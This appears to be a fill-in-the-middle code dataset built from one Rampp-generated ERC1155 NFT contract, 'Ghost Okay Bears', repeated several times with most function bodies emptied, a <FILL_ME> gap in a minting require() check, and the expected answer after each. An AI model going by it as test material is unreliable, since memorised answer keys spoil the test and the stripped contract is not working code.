memory _newTokenURI) public onlyOwner { } /** * @dev calculates price for a token based on qty * @param _id token id * @param _qty desired amount to mint */ function getPrice(uint256 _id, uint256 _qty) public view returns (uint256) { } /** * @dev prevent token from being transferred (aka soulbound) * @param tokenId token id */ function setTokenUntradeable(uint256 tokenId) public onlyOwner { } /** * @dev allow token from being transferred - the default mode * @param tokenId token id */ function setTokenTradeable(uint256 tokenId) public onlyOwner { } /** * @dev check if token id is tradeable * @param tokenId token id */ function isTokenTradeable(uint256 tokenId) public view returns (bool) { } function _beforeTokenTransfer(address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data) internal whenNotPaused override(ERC1155, ERC1155Supply) { } function _getNextTokenID() private view returns (uint256) { } /** * @dev increments the value of currentTokenID */ function _incrementTokenTypeId() private { } } //*********************************************************************// //*********************************************************************// // Rampp v1.0.0 // // This smart contract was generated by rampp.xyz. // Rampp allows creators like you to launch // large scale NFT communities without code! // // Rampp is not responsible for the content of this contract and // hopes it is being used in a responsible and kind way. // Rampp is not associated or affiliated with this project. // Twitter: @Rampp_ ---- rampp.xyz //*********************************************************************// //*********************************************************************//
totalSupply(_id).add(1)<=getTokenSupplyCap(_id),"Cannot mint over supply cap of token!"
229,510
totalSupply(_id).add(1)<=getTokenSupplyCap(_id)
"Public minting is not enabled while contract is in allowlist only mode."
//SPDX-License-Identifier: MIT pragma solidity ^0.8.2; contract GhostOkayBearsContract is ERC1155, Ownable, Pausable, ERC1155Supply, Withdrawable, Closeable, isPriceable, hasTransactionCap, Allowlist { constructor() ERC1155('') {} using SafeMath for uint256; uint8 public CONTRACT_VERSION = 1; bytes private emptyBytes; uint256 public currentTokenID = 0; string public name = "Ghost Okay Bears"; string public symbol = "GOB"; mapping (uint256 => string) baseTokenURI; /** * @dev returns the URI for a specific token to show metadata on marketplaces * @param _id the maximum supply of tokens for this token */ function uri(uint256 _id) public override view returns (string memory) { } function contractURI() public pure returns (string memory) { } /////////////// Admin Mint Functions function mintToAdmin(address _address, uint256 _id, uint256 _qty) public onlyOwner { } function mintManyAdmin(address[] memory addresses, uint256 _id, uint256 _qtyToEach) public onlyOwner { } /////////////// Public Mint Functions /** * @dev Mints a single token to an address. * fee may or may not be required* * @param _id token id of collection */ function mintTo(uint256 _id) public payable whenNotPaused { require(exists(_id), "ERC721Tradable#uri: NONEXISTENT_TOKEN"); require(totalSupply(_id).add(1) <= getTokenSupplyCap(_id), "Cannot mint over supply cap of token!"); require(msg.value == getPrice(_id, 1), "Value needs to be exactly the mint fee!"); require(<FILL_ME>) require(isMintingOpen(_id), "Minting for this token is not open"); _mint(msg.sender, _id, 1, emptyBytes); } /** * @dev Mints a number of tokens to a single address. * fee may or may not be required* * @param _id token id of collection * @param _qty amount to mint */ function mintToMultiple(uint256 _id, uint256 _qty) public payable whenNotPaused { } ///////////// ALLOWLIST MINTING FUNCTIONS /** * @dev Mints a single token to an address. * fee may or may not be required - required to have proof of AL* * @param _id token id of collection * @param _merkleProof merkle proof tree for sender */ function mintToAL(uint256 _id, bytes32[] calldata _merkleProof) public payable whenNotPaused { } /** * @dev Mints a number of tokens to a single address. * fee may or may not be required* * @param _id token id of collection * @param _qty amount to mint * @param _merkleProof merkle proof tree for sender */ function mintToMultipleAL(uint256 _id, uint256 _qty, bytes32[] calldata _merkleProof) public payable whenNotPaused { } /** * @dev Creates a new primary token for contract and gives creator first token * @param _tokenSupplyCap the maximum supply of tokens for this token * @param _tokenTransactionCap maximum amount of tokens one can buy per tx * @param _tokenFeeInWei payable fee per token * @param _isOpenDefaultStatus can token be publically minted once created * @param _allowTradingDefaultStatus is the token intially able to be transferred * @param _tokenURI the token URI to the metadata for this token */ function createToken( uint256 _tokenSupplyCap, uint256 _tokenTransactionCap, uint256 _tokenFeeInWei, bool _isOpenDefaultStatus, bool _allowTradingDefaultStatus, string memory _tokenURI ) public onlyOwner { } /** * @dev pauses minting for all tokens in the contract */ function pause() public onlyOwner { } /** * @dev unpauses minting for all tokens in the contract */ function unpause() public onlyOwner { } /** * @dev set the URI for a specific token on the contract * @param _id token id * @param _newTokenURI string for new metadata url (ex: ipfs://something) */ function setTokenURI(uint256 _id, string memory _newTokenURI) public onlyOwner { } /** * @dev calculates price for a token based on qty * @param _id token id * @param _qty desired amount to mint */ function getPrice(uint256 _id, uint256 _qty) public view returns (uint256) { } /** * @dev prevent token from being transferred (aka soulbound) * @param tokenId token id */ function setTokenUntradeable(uint256 tokenId) public onlyOwner { } /** * @dev allow token from being transferred - the default mode * @param tokenId token id */ function setTokenTradeable(uint256 tokenId) public onlyOwner { } /** * @dev check if token id is tradeable * @param tokenId token id */ function isTokenTradeable(uint256 tokenId) public view returns (bool) { } function _beforeTokenTransfer(address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data) internal whenNotPaused override(ERC1155, ERC1155Supply) { } function _getNextTokenID() private view returns (uint256) { } /** * @dev increments the value of currentTokenID */ function _incrementTokenTypeId() private { } } //*********************************************************************// //*********************************************************************// // Rampp v1.0.0 // // This smart contract was generated by rampp.xyz. // Rampp allows creators like you to launch // large scale NFT communities without code! // // Rampp is not responsible for the content of this contract and // hopes it is being used in a responsible and kind way. // Rampp is not associated or affiliated with this project. // Twitter: @Rampp_ ---- rampp.xyz //*********************************************************************// //*********************************************************************//
inAllowlistMode(_id)==false,"Public minting is not enabled while contract is in allowlist only mode."
229,510
inAllowlistMode(_id)==false
"Minting for this token is not open"
//SPDX-License-Identifier: MIT pragma solidity ^0.8.2; contract GhostOkayBearsContract is ERC1155, Ownable, Pausable, ERC1155Supply, Withdrawable, Closeable, isPriceable, hasTransactionCap, Allowlist { constructor() ERC1155('') {} using SafeMath for uint256; uint8 public CONTRACT_VERSION = 1; bytes private emptyBytes; uint256 public currentTokenID = 0; string public name = "Ghost Okay Bears"; string public symbol = "GOB"; mapping (uint256 => string) baseTokenURI; /** * @dev returns the URI for a specific token to show metadata on marketplaces * @param _id the maximum supply of tokens for this token */ function uri(uint256 _id) public override view returns (string memory) { } function contractURI() public pure returns (string memory) { } /////////////// Admin Mint Functions function mintToAdmin(address _address, uint256 _id, uint256 _qty) public onlyOwner { } function mintManyAdmin(address[] memory addresses, uint256 _id, uint256 _qtyToEach) public onlyOwner { } /////////////// Public Mint Functions /** * @dev Mints a single token to an address. * fee may or may not be required* * @param _id token id of collection */ function mintTo(uint256 _id) public payable whenNotPaused { require(exists(_id), "ERC721Tradable#uri: NONEXISTENT_TOKEN"); require(totalSupply(_id).add(1) <= getTokenSupplyCap(_id), "Cannot mint over supply cap of token!"); require(msg.value == getPrice(_id, 1), "Value needs to be exactly the mint fee!"); require(inAllowlistMode(_id) == false, "Public minting is not enabled while contract is in allowlist only mode."); require(<FILL_ME>) _mint(msg.sender, _id, 1, emptyBytes); } /** * @dev Mints a number of tokens to a single address. * fee may or may not be required* * @param _id token id of collection * @param _qty amount to mint */ function mintToMultiple(uint256 _id, uint256 _qty) public payable whenNotPaused { } ///////////// ALLOWLIST MINTING FUNCTIONS /** * @dev Mints a single token to an address. * fee may or may not be required - required to have proof of AL* * @param _id token id of collection * @param _merkleProof merkle proof tree for sender */ function mintToAL(uint256 _id, bytes32[] calldata _merkleProof) public payable whenNotPaused { } /** * @dev Mints a number of tokens to a single address. * fee may or may not be required* * @param _id token id of collection * @param _qty amount to mint * @param _merkleProof merkle proof tree for sender */ function mintToMultipleAL(uint256 _id, uint256 _qty, bytes32[] calldata _merkleProof) public payable whenNotPaused { } /** * @dev Creates a new primary token for contract and gives creator first token * @param _tokenSupplyCap the maximum supply of tokens for this token * @param _tokenTransactionCap maximum amount of tokens one can buy per tx * @param _tokenFeeInWei payable fee per token * @param _isOpenDefaultStatus can token be publically minted once created * @param _allowTradingDefaultStatus is the token intially able to be transferred * @param _tokenURI the token URI to the metadata for this token */ function createToken( uint256 _tokenSupplyCap, uint256 _tokenTransactionCap, uint256 _tokenFeeInWei, bool _isOpenDefaultStatus, bool _allowTradingDefaultStatus, string memory _tokenURI ) public onlyOwner { } /** * @dev pauses minting for all tokens in the contract */ function pause() public onlyOwner { } /** * @dev unpauses minting for all tokens in the contract */ function unpause() public onlyOwner { } /** * @dev set the URI for a specific token on the contract * @param _id token id * @param _newTokenURI string for new metadata url (ex: ipfs://something) */ function setTokenURI(uint256 _id, string memory _newTokenURI) public onlyOwner { } /** * @dev calculates price for a token based on qty * @param _id token id * @param _qty desired amount to mint */ function getPrice(uint256 _id, uint256 _qty) public view returns (uint256) { } /** * @dev prevent token from being transferred (aka soulbound) * @param tokenId token id */ function setTokenUntradeable(uint256 tokenId) public onlyOwner { } /** * @dev allow token from being transferred - the default mode * @param tokenId token id */ function setTokenTradeable(uint256 tokenId) public onlyOwner { } /** * @dev check if token id is tradeable * @param tokenId token id */ function isTokenTradeable(uint256 tokenId) public view returns (bool) { } function _beforeTokenTransfer(address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data) internal whenNotPaused override(ERC1155, ERC1155Supply) { } function _getNextTokenID() private view returns (uint256) { } /** * @dev increments the value of currentTokenID */ function _incrementTokenTypeId() private { } } //*********************************************************************// //*********************************************************************// // Rampp v1.0.0 // // This smart contract was generated by rampp.xyz. // Rampp allows creators like you to launch // large scale NFT communities without code! // // Rampp is not responsible for the content of this contract and // hopes it is being used in a responsible and kind way. // Rampp is not associated or affiliated with this project. // Twitter: @Rampp_ ---- rampp.xyz //*********************************************************************// //*********************************************************************//
isMintingOpen(_id),"Minting for this token is not open"
229,510
isMintingOpen(_id)
"Cannot mint more than max mint per transaction"
//SPDX-License-Identifier: MIT pragma solidity ^0.8.2; contract GhostOkayBearsContract is ERC1155, Ownable, Pausable, ERC1155Supply, Withdrawable, Closeable, isPriceable, hasTransactionCap, Allowlist { constructor() ERC1155('') {} using SafeMath for uint256; uint8 public CONTRACT_VERSION = 1; bytes private emptyBytes; uint256 public currentTokenID = 0; string public name = "Ghost Okay Bears"; string public symbol = "GOB"; mapping (uint256 => string) baseTokenURI; /** * @dev returns the URI for a specific token to show metadata on marketplaces * @param _id the maximum supply of tokens for this token */ function uri(uint256 _id) public override view returns (string memory) { } function contractURI() public pure returns (string memory) { } /////////////// Admin Mint Functions function mintToAdmin(address _address, uint256 _id, uint256 _qty) public onlyOwner { } function mintManyAdmin(address[] memory addresses, uint256 _id, uint256 _qtyToEach) public onlyOwner { } /////////////// Public Mint Functions /** * @dev Mints a single token to an address. * fee may or may not be required* * @param _id token id of collection */ function mintTo(uint256 _id) public payable whenNotPaused { } /** * @dev Mints a number of tokens to a single address. * fee may or may not be required* * @param _id token id of collection * @param _qty amount to mint */ function mintToMultiple(uint256 _id, uint256 _qty) public payable whenNotPaused { require(exists(_id), "ERC721Tradable#uri: NONEXISTENT_TOKEN"); require(_qty >= 1, "Must mint at least 1 token"); require(<FILL_ME>) require(totalSupply(_id).add(_qty) <= getTokenSupplyCap(_id), "Cannot mint over supply cap of token!"); require(msg.value == getPrice(_id, _qty), "Value needs to be exactly the mint fee!"); require(inAllowlistMode(_id) == false, "Public minting is not enabled while contract is in allowlist only mode."); require(isMintingOpen(_id), "Minting for this token is not open"); _mint(msg.sender, _id, _qty, emptyBytes); } ///////////// ALLOWLIST MINTING FUNCTIONS /** * @dev Mints a single token to an address. * fee may or may not be required - required to have proof of AL* * @param _id token id of collection * @param _merkleProof merkle proof tree for sender */ function mintToAL(uint256 _id, bytes32[] calldata _merkleProof) public payable whenNotPaused { } /** * @dev Mints a number of tokens to a single address. * fee may or may not be required* * @param _id token id of collection * @param _qty amount to mint * @param _merkleProof merkle proof tree for sender */ function mintToMultipleAL(uint256 _id, uint256 _qty, bytes32[] calldata _merkleProof) public payable whenNotPaused { } /** * @dev Creates a new primary token for contract and gives creator first token * @param _tokenSupplyCap the maximum supply of tokens for this token * @param _tokenTransactionCap maximum amount of tokens one can buy per tx * @param _tokenFeeInWei payable fee per token * @param _isOpenDefaultStatus can token be publically minted once created * @param _allowTradingDefaultStatus is the token intially able to be transferred * @param _tokenURI the token URI to the metadata for this token */ function createToken( uint256 _tokenSupplyCap, uint256 _tokenTransactionCap, uint256 _tokenFeeInWei, bool _isOpenDefaultStatus, bool _allowTradingDefaultStatus, string memory _tokenURI ) public onlyOwner { } /** * @dev pauses minting for all tokens in the contract */ function pause() public onlyOwner { } /** * @dev unpauses minting for all tokens in the contract */ function unpause() public onlyOwner { } /** * @dev set the URI for a specific token on the contract * @param _id token id * @param _newTokenURI string for new metadata url (ex: ipfs://something) */ function setTokenURI(uint256 _id, string memory _newTokenURI) public onlyOwner { } /** * @dev calculates price for a token based on qty * @param _id token id * @param _qty desired amount to mint */ function getPrice(uint256 _id, uint256 _qty) public view returns (uint256) { } /** * @dev prevent token from being transferred (aka soulbound) * @param tokenId token id */ function setTokenUntradeable(uint256 tokenId) public onlyOwner { } /** * @dev allow token from being transferred - the default mode * @param tokenId token id */ function setTokenTradeable(uint256 tokenId) public onlyOwner { } /** * @dev check if token id is tradeable * @param tokenId token id */ function isTokenTradeable(uint256 tokenId) public view returns (bool) { } function _beforeTokenTransfer(address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data) internal whenNotPaused override(ERC1155, ERC1155Supply) { } function _getNextTokenID() private view returns (uint256) { } /** * @dev increments the value of currentTokenID */ function _incrementTokenTypeId() private { } } //*********************************************************************// //*********************************************************************// // Rampp v1.0.0 // // This smart contract was generated by rampp.xyz. // Rampp allows creators like you to launch // large scale NFT communities without code! // // Rampp is not responsible for the content of this contract and // hopes it is being used in a responsible and kind way. // Rampp is not associated or affiliated with this project. // Twitter: @Rampp_ ---- rampp.xyz //*********************************************************************// //*********************************************************************//
canMintQtyForTransaction(_id,_qty),"Cannot mint more than max mint per transaction"
229,510
canMintQtyForTransaction(_id,_qty)